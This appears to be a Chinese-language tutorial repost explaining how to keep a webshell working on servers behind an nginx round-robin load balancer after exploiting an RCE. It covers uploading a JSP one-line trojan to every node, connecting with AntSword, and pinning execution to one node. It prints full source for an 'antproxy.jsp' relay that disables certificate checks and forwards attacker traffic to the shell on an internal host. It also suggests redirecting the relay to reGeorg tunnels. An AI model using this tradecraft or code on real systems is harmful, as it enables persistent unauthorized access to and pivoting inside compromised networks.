您好,登錄后才能下訂單哦!
這篇文章主要介紹“nginx負載均衡下的webshell上傳如何實現”,在日常操作中,相信很多人在nginx負載均衡下的webshell上傳如何實現問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”nginx負載均衡下的webshell上傳如何實現”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
假定在真實生產環境中,存在一個RCE漏洞,可以讓我們獲取WebShell
首先在GetHub上拉去漏洞的鏡像前,需提前在centos上安裝nginx和tomcat以及配置好nginx以及tomcat的相關配置文件,在使用docker將鏡像拉取下來,進行漏洞的復現。
1、先將docker環境搭建起來
2、測試tomcat是否可以訪問
根據上圖可以看出,后端的tomcat是可以訪問的
3、查看docker中nginx反向代理的負載均衡
4、查看docker中lbsnode1中的ant.jsp文件
此文件可以理解為一句話木馬,在lbsnode2中也是存有相同的文件
lbsnode1:
lbsnode2:
5、通過中國蟻劍來連接ant.jsp文件
因為兩臺節點都在相同的位置存在 ant.jsp,所以連接的時候也沒出現什么異常
問題一:由于nginx采用的反向代理是輪詢的方式,所以上傳文件必須在兩臺后端服務器的相同位置上傳相同的文件
因為我們是反向代理的負載均衡,就存在上傳文件出現一臺后端服務器上有我們上傳的文件,另一臺服務器上沒有我們上傳的文件,出現的結果就是,一旦一臺服務器上沒有,那么在請求輪到這臺服務器的時候,就會報出404的錯誤,從而影響使用,這也就是一會出現正常,一會出現錯誤的原因。
解決方案:
我們需要在每一臺節點的相同位置都上傳相同內容的WebShell,從而實現無論是輪詢到哪臺服務器上都可以訪問到我們的后端服務器上。實現每一臺后端服務器上都有上傳的文件,就需要瘋狂上傳。
問題二:我們在執行命令時,無法知道下次的請求交給哪臺機器去執行
我們在執行hostname -i查看當前執行機器的IP時,可以看到IP地址一直在漂移
問題三:當我們需要上傳一些較大的工具時,會造成工具無法使用的情況
當我們上傳一個較大的文件時,由于AntSword上傳文件時,采用的是分片上傳方式,把一個文件分成了多次HTTP請求發送給目標,造成文件的一部分內容在A這臺服務器上,另一部分文件在B這臺服務器上,從而使得較大的工具或者文件無法打開或者使用
問題四:由于目標主機不能出外網,想要進一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在這個場景下,這些 tunnel 腳本全部都失靈了。
方案一:關掉其中的一臺后端服務器
關閉后端其中的一臺服務器確實能夠解決上述的四種問題,但是這個方案實在是“老壽星上吊---活膩了”,影響業務,還會造成災難,直接Pass不考慮
綜合評價:真是環境下千萬不要嘗試!!!
方案二:在程序執行前先判斷要不要執行
既然無法預測下一次是哪臺機器去執行,那我們的shell在執行Payload之前,先判斷一下要不要執行不就可以了。
首次按創建一個腳本demo.sh,該腳本是獲取我們的后端其中一臺服務器的地址,匹配到這臺服務器的地址才進行程序的執行,匹配到另一臺服務器則不進行程序的執行。
通過中國蟻劍將demo.sh腳本文件上傳到后端的兩臺服務器上,因為是負載均衡,所以需要瘋狂點擊上傳
這樣一來,確實能夠保證執行的命令是在我們想要的機器上了,可是這樣執行命令,沒有一絲美感,另外,大文件上傳、HTTP隧道這些問題也沒有解決。
綜合評價:該方案勉強能用,僅適合在執行命令的時候用,不夠優雅。
方案三:在Web層做一次HTTP流量的轉發(重點)
沒錯,我們用 AntSword 沒法直接訪問 LBSNode1 內網IP(172.23.0.2)的 8080 端口,但是有人能訪問呀,除了 nginx 能訪問之外,LBSNode2 這臺機器也是可以訪問 Node1 這臺機器的 8080 端口的。
還記不記得 「PHP Bypass Disable Function」 這個插件,我們在這個插件加載 so 之后,本地啟動了一個 httpserver,然后我們用到了 HTTP 層面的流量轉發腳本 「antproxy.php」, 我們放在這個場景下看:
我們一步一步來看這個圖,我們的目的是:所有的數據包都能發給「LBSNode 1」這臺機器
首先是 第 1 步,我們請求 /antproxy.jsp,這個請求發給 nginx
nginx 接到數據包之后,會有兩種情況:
我們先看黑色線,第 2 步把請求傳遞給了目標機器,請求了 Node1 機器上的 /antproxy.jsp,接著 第 3 步,/antproxy.jsp 把請求重組之后,傳給了 Node1 機器上的 /ant.jsp,成功執行。
再來看紅色線,第 2 步把請求傳給了 Node2 機器, 接著第 3 步,Node2 機器上面的 /antproxy.jsp 把請求重組之后,傳給了 Node1 的 /ant.jsp,成功執行。
1、創建 antproxy.jsp 腳本
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.net.ssl.*" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.DataInputStream" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.net.HttpURLConnection" %> <%@ page import="java.net.URL" %> <%@ page import="java.security.KeyManagementException" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.security.cert.CertificateException" %> <%@ page import="java.security.cert.X509Certificate" %> <%! public static void ignoreSsl() throws Exception { HostnameVerifier hv = new HostnameVerifier() { public boolean verify(String urlHostName, SSLSession session) { return true; } }; trustAllHttpsCertificates(); HttpsURLConnection.setDefaultHostnameVerifier(hv); } private static void trustAllHttpsCertificates() throws Exception { TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() { public X509Certificate[] getAcceptedIssuers() { return null; } @Override public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } @Override public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException { // Not implemented } } }; try { SSLContext sc = SSLContext.getInstance("TLS"); sc.init(null, trustAllCerts, new java.security.SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory()); } catch (KeyManagementException e) { e.printStackTrace(); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } } %> <% String target = "http://172.24.0.2:8080/ant.jsp"; URL url = new URL(target); if ("https".equalsIgnoreCase(url.getProtocol())) { ignoreSsl(); } HttpURLConnection conn = (HttpURLConnection)url.openConnection(); StringBuilder sb = new StringBuilder(); conn.setRequestMethod(request.getMethod()); conn.setConnectTimeout(30000); conn.setDoOutput(true); conn.setDoInput(true); conn.setInstanceFollowRedirects(false); conn.connect(); ByteArrayOutputStream baos=new ByteArrayOutputStream(); OutputStream out2 = conn.getOutputStream(); DataInputStream in=new DataInputStream(request.getInputStream()); byte[] buf = new byte[1024]; int len = 0; while ((len = in.read(buf)) != -1) { baos.write(buf, 0, len); } baos.flush(); baos.writeTo(out2); baos.close(); InputStream inputStream = conn.getInputStream(); OutputStream out3=response.getOutputStream(); int len2 = 0; while ((len2 = inputStream.read(buf)) != -1) { out3.write(buf, 0, len2); } out3.flush(); out3.close(); %>
2、修改轉發地址,轉向目標 Node 的內網IP的 目標腳本 訪問地址。
注意:不僅僅是 WebShell 喲,還可以改成 reGeorg 等腳本的訪問地址
我們將 target 指向了 LBSNode1 的 ant.jsp
注意:
a) 不要使用上傳功能,上傳功能會分片上傳,導致分散在不同 Node 上。
b) 要保證每一臺 Node 上都有相同路徑的 antproxy.jsp, 所以我瘋狂保存了很多次,保證每一臺都上傳了腳本
3、 修改 Shell 配置, 將 URL 部分填寫為 antproxy.jsp 的地址,其它配置不變
4、 測試執行命令, 查看 IP
可以看到 IP 已經固定, 意味著請求已經固定到了 LBSNode1 這臺機器上了。此時使用分片上傳、HTTP 代理,都已經跟單機的情況沒什么區別了
該方案的優點:
1、低權限就可以完成,如果權限高的話,還可以通過端口層面直接轉發,不過這跟 Plan A 的關服務就沒啥區別了
2、流量上,只影響訪問 WebShell 的請求,其它的正常業務請求不會影響。
3、適配更多工具
缺點:
該方案需要「目標 Node」和「其它 Node」 之間內網互通,如果不互通就涼了。
到此,關于“nginx負載均衡下的webshell上傳如何實現”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。